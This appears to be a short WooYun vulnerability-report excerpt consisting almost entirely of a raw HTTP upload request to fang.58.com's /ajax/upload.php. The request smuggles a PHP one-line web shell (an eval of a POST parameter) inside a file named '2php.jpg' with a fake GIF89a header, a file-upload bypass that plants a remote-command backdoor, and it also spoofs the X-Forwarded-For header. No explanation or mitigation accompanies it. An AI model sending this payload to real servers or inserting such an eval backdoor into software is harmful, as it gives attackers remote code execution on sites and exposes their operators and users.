WooYun.org

POST /ajax/upload.php HTTP/1.1
Host: fang.58.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://fang.58.com/ajax/upload.php?input=pic1&img=img1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19735221724515
Content-Length: 420
-----------------------------19735221724515
Content-Disposition: form-data; name="file"; filename="2php.jpg"
Content-Type: image/jpeg
Gif89a
<?php @eval($_POST['x']);?>
-----------------------------19735221724515
Content-Disposition: form-data; name="input"
pic1
-----------------------------19735221724515
Content-Disposition: form-data; name="img"
img1
-----------------------------19735221724515--